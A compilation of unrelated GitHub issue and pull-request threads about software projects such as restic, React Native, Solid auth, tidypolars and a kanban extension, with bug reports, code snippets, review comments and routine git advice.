Generate DevTools deep links for failed network requests

Currently, deep links are only supported for renderflex overflow errors. We'd like to support deep links for more than just layout errors, and show them also for network related errors.

@kenzieschmoll Do you need help from the framework team for this? If so, could you provide some details on what would need to be implemented?

This work is no longer a priority. We can reopen this issue if we decide to do this in the future.


gs: fix nil dereference

info can be nil if err != nil, resulting in a nil dereference while
logging:
$ # GCS config
$ ./restic init
debug enabled
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x935947]

goroutine 1 [running]:
github.com/restic/restic/internal/backend/gs.(*Backend).Save(0xc420012690, 0xe84e80, 0xc420010448, 0xb57149, 0x3, 0xc4203fc140, 0x40, 0xe7be40, 0xc4201d8f90, 0xa0, ...)
	src/github.com/restic/restic/internal/backend/gs/gs.go:226 +0x6d7
github.com/restic/restic/internal/repository.AddKey(0xe84e80, 0xc420010448, 0xc4202f0360, 0xc42000a1b0, 0x4, 0x0, 0xa55b60, 0xc4203043e0, 0xa55420)
	src/github.com/restic/restic/internal/repository/key.go:235 +0x4a1
github.com/restic/restic/internal/repository.createMasterKey(0xc4202f0360, 0xc42000a1b0, 0x4, 0xa55420, 0xc420304370, 0x6a6070)
	src/github.com/restic/restic/internal/repository/key.go:62 +0x60
github.com/restic/restic/internal/repository.(*Repository).init(0xc4202f0360, 0xe84e80, 0xc420010448, 0xc42000a1b0, 0x4, 0x1, 0xc42030a440, 0x40, 0x32a4573d3d9eb5, 0x0, ...)
	src/github.com/restic/restic/internal/repository/repository.go:403 +0x5d
github.com/restic/restic/internal/repository.(*Repository).Init(0xc4202f0360, 0xe84e80, 0xc420010448, 0xc42000a1b0, 0x4, 0xe84e40, 0xc42004ad80)
	src/github.com/restic/restic/internal/repository/repository.go:397 +0x12c
main.runInit(0xc420018072, 0x16, 0x0, 0x0, 0x0, 0xe84e40, 0xc42004ad80, 0xc42000a1b0, 0x4, 0xe7dac0, ...)
	src/github.com/restic/restic/cmd/restic/cmd_init.go:47 +0x2a4
main.glob..func9(0xeb5000, 0xedad70, 0x0, 0x0, 0x0, 0x0)
	src/github.com/restic/restic/cmd/restic/cmd_init.go:20 +0x8e
github.com/restic/restic/vendor/github.com/spf13/cobra.(*Command).execute(0xeb5000, 0xedad70, 0x0, 0x0, 0xeb5000, 0xedad70)
	src/github.com/restic/restic/vendor/github.com/spf13/cobra/command.go:649 +0x457
github.com/restic/restic/vendor/github.com/spf13/cobra.(*Command).ExecuteC(0xeb3e00, 0xc420011650, 0xa55b60, 0xc420011660)
	src/github.com/restic/restic/vendor/github.com/spf13/cobra/command.go:728 +0x339
github.com/restic/restic/vendor/github.com/spf13/cobra.(*Command).Execute(0xeb3e00, 0x25, 0xc4201a7eb8)
	src/github.com/restic/restic/vendor/github.com/spf13/cobra/command.go:687 +0x2b
main.main()
	src/github.com/restic/restic/cmd/restic/main.go:72 +0x268

(The error was likely because I had just enabled the GCS API. Subsequent
runs were fine.)

Codecov Report

Merging #1185 into master will decrease coverage by 5.76%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##           master    #1185      +/-   ##
==========================================
- Coverage   52.96%   47.19%   -5.77%
==========================================
  Files         126      126
  Lines       12035    12039       +4
==========================================
- Hits         6374     5682     -692
- Misses       4921     5672     +751
+ Partials      740      685      -55

Impacted Files
Coverage Δ

internal/backend/gs/gs.go
0% <0%> (-60.79%)
:arrow_down:

internal/backend/b2/b2.go
0% <0%> (-79.32%)
:arrow_down:

internal/backend/swift/swift.go
0% <0%> (-73.9%)
:arrow_down:

internal/backend/azure/azure.go
0% <0%> (-61.93%)
:arrow_down:

internal/backend/swift/config.go
34.37% <0%> (-56.25%)
:arrow_down:

internal/backend/s3/s3.go
61.03% <0%> (+1.37%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3559f9c...9537bc5. Read the comment docs.

Oh, great catch, thanks!


Adding Player Handles

Context (Problem, Motivation, Solution)
Link related issues!
Issue 117
Describe Your Changes
I added the smart contract to implement Player handles and wrote the tests to check the functions work properly
Checklist

[ ] I have performed a self-review of my code
[ ] I ran make check and fixed resulting issues
[ ] I ran the relevant tests and they all pass
[ ] I wrote tests for my new features, or added regression tests for the bug I fixed

Testing
If you didn't write tests, explain how you made sure the code was correct and working as intended.

I need your review on this before proceeding, I'm encountering errors setting up the web

I need your review on this before proceeding @norswap , Also I'm encountering errors setting up the webapp

Hello @norswap still awaiting your review

Hi Sir I'd get started on these and update, sorry for the delay

Hi Sir, I've made the necessary corrections and pushed

Hi Sir, I have made requested corrections

Also it seems you've made changes to the lockfile, could just revert it to the master version so that no changes show? The current file seems incorrect in some way, as shown by the failing CI check.

Also it seems you've made changes to the lockfile, could just revert it to the master version so that no changes show? The current file seems incorrect in some way, as shown by the failing CI check.

Hi Sir, I didn't make any changes to the lockfile and can't seem to understand how to rectify it.

That was probably accidental, you can see it is changed in "Files changes" here on Github.
Fixing it requires a little bit of git foo:
You can revert it by using git checkout master -- pnpm-lock.yaml then git add pnpm-lock.yaml.
You could then git commit and push that, but let's squash all your commit together:
git reset --soft HEAD~7 && git commit
(The 7 here is the number of commits you've made, so if you add additional commits in between you need to update that number.)
Then finally git push --force-with-lease to replace the commits here with the single squashed commit.

That was probably accidental, you can see it is changed in "Files changes" here on Github.
Fixing it requires a little bit of git foo: You can revert it by using git checkout master -- pnpm-lock.yaml then git add pnpm-lock.yaml. You could then git commit and push that, but let's squash all your commit together: git reset --soft HEAD~7 && git commit
(The 7 here is the number of commits you've made, so if you add additional commits in between you need to update that number.)
Then finally git push --force-with-lease to replace the commits here with the single squashed commit.

done sir

Hello sir @norswap

Thanks! Did some extra cleanup and merged here: https://github.com/0xFableOrg/0xFable/pull/137


Add deprecation warning

Given that the authentication method used by this library is no longer the one recommended by the specification, I propose to add this warning to help developers find their way.

Coverage remained the same at 84.324% when pulling 90fce1ea0e6a8b1506ada500c0e828e0366d9687 on docs/deprecation into cc0e4d42c4943ab02a5e9eb67bc4b21ec4ea668d on master.

I think it would be very helpful to merge this. I just found PR by chance. I ended up in this repo multiple times while trying no navigate the ecosystem. For example https://github.com/solid/react-components still uses it.

I think it would be very helpful to merge this. I just found PR by chance. I ended up in this repo multiple times while trying no navigate the ecosystem. For example https://github.com/solid/react-components still uses it.

I think it would be very helpful to merge this. I just found PR by chance. I ended up in this repo multiple times while trying no navigate the ecosystem. For example https://github.com/solid/react-components still uses it.

I think it would be very helpful to merge this. I just found PR by chance. I ended up in this repo multiple times while trying no navigate the ecosystem. For example https://github.com/solid/react-components still uses it.

I will merge; @michielbdejong feel free to add your suggestion as well (I don’t know solid-auth-fetcher so my description wouldn’t be accurate).

I will merge; @michielbdejong feel free to add your suggestion as well (I don’t know solid-auth-fetcher so my description wouldn’t be accurate).

DPOP is also implemented in NSS and should be added to the solid server list in the warning

DPOP is also implemented in NSS and should be added to the solid server list in the warning

Hopefully https://github.com/inrupt/solid-client-authn-js/issues/423 and https://github.com/inrupt/solid-client-authn-js/issues/538 will one day be resolved and we can merge solid-auth-fetcher and inrupt's version of it back together

Hopefully https://github.com/inrupt/solid-client-authn-js/issues/423 and https://github.com/inrupt/solid-client-authn-js/issues/538 will one day be resolved and we can merge solid-auth-fetcher and inrupt's version of it back together


Adding goal animation fields to campaign config form

Fixes #4443
Adds 6 file fields to the campaign config page that will hold the different goal progress animations.
@aaronschachter I checked the status of these files after they were saved, and they did indeed have a 0 status. I can create a separate issue where we can discuss how we want to get that worked out.
cc/ @angaither

@sbsmith86 are we going to have to have more b/c of mobile/desktop?
this could also be done with a loopy-loop.

@angaither I wasn't sure where we landed will all that mobile/desktop stuff, it sort of sounded like it was still up in the air? But I can add more if we need later. And ah yes on the loop thing #Code.

#code indeed

@angaither  updated to uses loops :loop:

Code looks ok -- did you confirm that when the file is saved upon form submission, its status is set to 1?

@aaronschachter yep yep, see the PR description. Should we tackle it in a separate issue? Or this one?

such :loop: :curly_loop: :repeat:
:+1:

I'm going to merge this in now. @aaronschachter I created a separate issue for the status work.


"Get backend information" uses cloud simulator

URL to the relevant documentation
https://docs.quantum.ibm.com/run/get-backend-information
Here's the problem cell:
service.backend("ibmq_qasm_simulator")

Select all that apply

[ ] typo
[ ] code bug
[ ] out-of-date content
[ ] broken link
[ ] other

Describe the fix.
Switch to a different backend. While this should work for open users at the moment, the simulators will be deprecated soon and this notebook will break.

@frankharkins already has a PR open to update this here: https://github.com/Qiskit/documentation/pull/1232  So I removed myself from the assignment.


Regarding readMessageLength & writeMessageLength

Hi, guys!
First, thanks for the lib(s) and for the people involved on it. Big fan :)
I have a question regarding those parameters for connections: readMessageLength & writeMessageLength
From my knowledge (good but albeit limited) of ISO8583 protocols you have a message header with a fixed byte size, the MTI with another fixed byte size, the bitmap(s) and then the body message with variable size. The message header should indicate the length of the message being sent. On top of this, since it's (usually?) a TCP connection, the data is constantly "streamed".
If my understanding above is correct, how is one supposed to configure the "readMessageLength" beforehand of a connection since the message size of a 0810 of a 0200 with 3DS for example?
Am I missing something regarding this?

.... readMessageLength is a function to (drum rolls) read the message length lol
// here are the implementation of the provider protocol:
// * header reader and writer
// * spec
func readMessageLength(r io.Reader) (int, error) {
	header := network.NewBinary2BytesHeader()
	n, err := header.ReadFrom(r)
	if err != nil {
		return n, err
	}

	return header.Length(), nil
}

lol, sorry the confusion.


Force Cohere LLM to generate only Json format as expected without any other unnecessary text

Hello,
I do not really know if it is a right place to ask my question, but did not find any appropriate ones.
I would like to know if when we ask Cohere to generate text completion (or chat) through API, do we have a solution to force Cohere to generate only Json validated format without any introduction text at the beginning ?
I have used a prompt-engineering approach to require a Json validated-format in my prompt by adding either :
"your output is only of json valid structure [{{'key1': value1, 'keys2': [values], 'key3': value3}}]"
Or
"your output is only of json valid structure [{{'key1': value1, 'keys2': [values], 'key3': value3}}], without any introduction text ..."
As result, Cohere always add an introduction text at the beginning as follows :
"Here is the JSON format generated from the information provided:
'''json
[useful_information_situated_here]
'''
"
What I really want to receive as output is only the Json valid format inside of parenthesis (i.e. useful_information_situated_here)

I think this article on validating LLM outputs using Guardrails AI might be helpful.

Hi, thanks for filing this ticket, it's on our roadmap to add forced json outputs.

thank you for all of your replies @aanaseer @elaineg. Looking forward to test it later...


Bump mocha timeout to 10000 to mitigate potential jenkins issues

Proposing a potential way to address what could be jenkins timeout issues when loading modules in mocha "before" blocks.
@RackHD/corecommitters @tldavies @davidzuhn

👎  This should try to be fixed via jenkins with lowering the node count for the build slave first.

What do you mean by "lowering the node count for the build slave"?

So the old build slave for 1.1 release only have 2 nodes. While the new build slave has 4. I would lower that count to 2 again. As that worked in the passed when we had timeouts in jenkins.

Do you mean cpus?

The above photo shows 4 idle reduces it to 2.

Most of the build failures have occurred when that build job was the only one running on the given node.


Remove TimerMixin from TouchableWithoutFeedback

Related to #21485.
Removed TimerMixin from the TouchableWithoutFeedback component since it is currently not used.
Added tests cases for TouchableWithoutFeedback to check for any runtime issues.
Test Plan:
Ran:

npm run prettier

Additionally ran the following scripts with no errors:

npm run flow-check-ios
npm run flow-check-android

Following the removal of TimerMixin, the TouchableWithoutFeedback component has been tested during runtime using RNTester to surface any runtime issues. The change was tested on both iOS and Android with no obvious errors.
RNTester steps:

Run RNTester.
Navigate to  “<Touchable*> and onPress”
Second box (in view) provides  a simple test to verify that <TouchableWithoutFeedback /> works as expected:

General behavior for TouchableWithoutFeedback:

Added tests for disabled state for TouchableWithoutFeedback to mirror tests for other Touchable* types:

Release Notes:
[GENERAL] [ENHANCEMENT] [Libraries/Components/Touchable/TouchableWithoutFeedback.js] - remove TimerMixin dependency
[GENERAL] [ENHANCEMENT] [RNTester/js/TouchableExample.js] - Add TouchableWithoutFeedback test cases.

Looks good! 🙂


Execution order for tables

Is there a way to define an execution sequence for the tables? As the values for the store are not stored before the read operation starts. Swapping the sequence in the config works, but it is inconsistent and fails after some runs.
tables:
  - name: User
  ...
    template:
      format: "{{ store_read(...) }}"
  ...
  - name: Profile
  ...
    template:
      format: "{{ store_write(...) }}"
  ...

Error:
[110 / 154] Prepare to dump table: default$default.User
Error: Failed transform Failed to render 'TemplateTransformerTemplate'

Yes, I am working on this.


Switch genericcontrolplane/apis to frob system:admin

What type of PR is this?

/kind bug
What this PR does / why we need it:
This PR changes the logical cluster that pkg/genericcontrolplane/apis/apis.go manipulates, because it was manipulating the root logical cluster, getting failures due to lack of the kube-system namespace, but I am told that it should be the system:admin LC instead.
This PR also introduces pkg/genericcontrolplane/localadmin to hold the symbolic constant for that logical cluster in a place that does not create a circular dependency.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?

NONE

Additional documentation e.g., KEPs (Kubernetes Enhancement Proposals), usage docs, etc.:

/lgtm


1 git clone is not enough

When I use git clone to get the repository and build a docker image, I still have to git clone the fork separately.
Please fix it, or at least add a note in the Readme.md that we need to get specifically your forked nsjail for this to work.

I recommend using the pre-built images at pwn.red/jail instead of building the image yourself.

The image in docker hub has a vulnerability present in golang:1.20.6-bookworm, it needs to be updated

The image does not have a vulnerability. The scanner results are incorrect.


Translation in configuration

In my application configuration I have set a variable, which I'd like to have in my js-localization as well. It looks like the following:
Config (mysite.php):
return array(
    'products'	 => 'Products'
);

In my language file (products.php) I have the following entry:
'products'	=> Config::get('mysite.products')

In the packages configuration I have:
'messages' => array(
    'products'	=> array(
        'products'
    ),
)

After I run:
php artisan js-localization:refresh

I do get an entry in the messages file, but it does not look like: "products.products" : "Products" but it shows: "products.products" : "products.products"

I think this happens because the package can't read from the configuration, or something. Can't figure out why this does not work. Is this an issue or am I doing something wrong?
To clarify - the codebase will be used on multiple sites, where Products can also be named Items (or whatever). Perhaps I'm overthinking this and there might be a better way in doing such a thing, if that is the case I'd love to know how :)

Hey Joost. Sounds like a feature request. Can't tell you exactly why this doesn't work, but exporting config makes sense...
I'm on vacation now, but will let you know when I'm back!

Thanks Andy, if I figure it out before I'll let you know :)

Hey Joost! Please have a look at the develop branch: https://github.com/andywer/laravel-js-localization/tree/develop
There is a new config property to specify which configuration properties you want to pass to the JS code and then use Config::get() in JS. You can optionally disable caching of these exported config properties (another config setting).
Tell me if that works for you ;)

Hi Andy,
I probably should have mentioned that I am using laravel-4.2 =) I will try to get it up and running next week based on your code. Thanks!

Hey Joost. Anything new on this topic?

Hi - I upgraded to Laravel 5.1 which was (for me) an easier option. I'll close this ticket.

Nice to hear that it worked for you :)


Getting a user's follower/following count

This is now trivial with a fetched user:
followersList.length or followingList.length


Correctly handle appendicies in md2html

We have an Appendix A that was getting treated as a numbered section, with a second Appendix A generated for references.
This now correctly detects sections with "Appendix" in the name, and assigns letters appropriately.  The generated references section is now Appendix B (and will always be the last appendix).

Nice!
This results in

which is almost what I'd expect: can we snip away the Appendix A: ?

@ralfhandl let me see if I can figure out enough JavaScript for that 😅

@ralfhandl it looks a bit weird to me without the "Appendix" because then the word "Appendix" doesn't appear anywhere.

Ideally we would keep "Appendix A: " in the main text and leave it out of the TOC- that is what IETF RFCs do.  But I don't know how to make that happen and don't have more time to spend on this.  If you feel strongly about taking it out we can just go with bare letters, but out of the two not-great options I'd rather leave the redundancy in (it's not worse than what we current have) and hope someone can figure out a better solution later.

I'm sorry, I'm confused about how to preview the changes. I don't see Appendix B at all but I know we do some extra rendering. Am I just missing the docs on this?

@lornajane

Am I just missing the docs on this?

Bold of you to assume we have docs!  🤪
I was lazy and did not publish a rendering, as you have to bounce between different branches to do it (at least until #3717 is fixed) but i should have.  Here are three relevant samples (edit the URLs in the obvious ways to see other versions if you want):

2.0 only has the auto-generated "References" Appendix
3.0.0 has a manually created "Change History" and auto-generated "References"
3.0.4 (rendered from the branch for #3818) has two manually-written appendices plus the auto-generated "References"


purrr functions!?

I noticed that in tidytable, you have purrr functions like map.(), but not in tidypolars.
Using for loops + lambda functions are just not desirable for collaborative coding / code readability/comprehension. In Python, even if there is a bit of sacrifice in performance, if it allows better code readability, it would be really nice to have.
Would something like map.() be in the scope of this repo?

As of right now tidypolars is just for dplyr/tidyr functions - so I don't think that adding purrr functions is in scope. But I'll leave this open for now because I do want to look into it a bit more.

One thing worth noting - python already has a map() function built in that is called slightly differently than R. It's also a bit more extensible than purrr::map() because it's essentially map/map2/pmap all built into one.

R
Python

map(list, func)
map(func, list)

map2(list1, list2, func)
map(func, list1, list2)

pmap(list(list1, list2, list3), func)
map(func, list1, list2, list3)

As I think about this more - I think I'm going to close this. I think python offers pretty solid options for iterations. Whether with map() or using zip() in list comprehensions.


Add missing tests

This adds the tests demanded at https://github.com/eclipse/winery/pull/286
In addition:

add some @NonNull annotations
relax test for www.opentosca.org lowercase thing

Codacy doesn't know about JUnit5:

    @ParameterizedTest()
    @MethodSource("getCamelCasedOpenToscaQNames")
    public void openToscaNamespaceIsNotLowerCaseErrorNotRaisedAtQNameHavingCasedLocalName(QName qname) {

The long method lists all errors in the repository. It was implemented straight-forward to be maintainable. I think, generalization won't introduce higher understandability of the test.


[BEAM-2560] Add integration test for arithmetic operators.

Re-implemented the arithmetic operators & refactored string functions integration test to utilize ExpressionChecker.

R: @XuMingmin @takidau

Changes Unknown when pulling bdea7a6b62f9d131efca04266b3adbec15d66543 on xumingming:BEAM-2560-integration-test-for-arithmetic into ** on apache:DSL_SQL**.

Merged.


APP-332: Check "Objective C Endpoint Ownership Demo" and include it to sandbox

Don't merge.

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

Can one of the admins verify this patch?

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

Can one of the admins verify this patch?

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please

@kaa-leeroy test this hard please


Ability to style (e.g. colour) the kanban cards and columns

Is your feature request related to a problem? Please describe.
Not a problem, more a design limitation.
Describe the solution you'd like
Ideally, an options menu to colour:

individual columns
individual cards

manually, and
by tags in the card (first tag in the card will be the priority

Failing that, ability to do it via CSS

Upvote & Fund

We're using Polar.sh so you can upvote and help fund this issue.
We receive the funding once the issue is completed & confirmed by you.
Thank you in advance for helping prioritize & fund our backlog.

You can currently edit the CSS used for the board...
C:\Users\xxxxxxx.vscode\extensions\mayank1513.trello-kanban-task-board-0.5.2\assets\index.css.
I found it helpful to visit the online version of the board to be able to see what classes are used where. They translate fairly well from browser to desktop.

I have added support for inline HTML in tasks as well.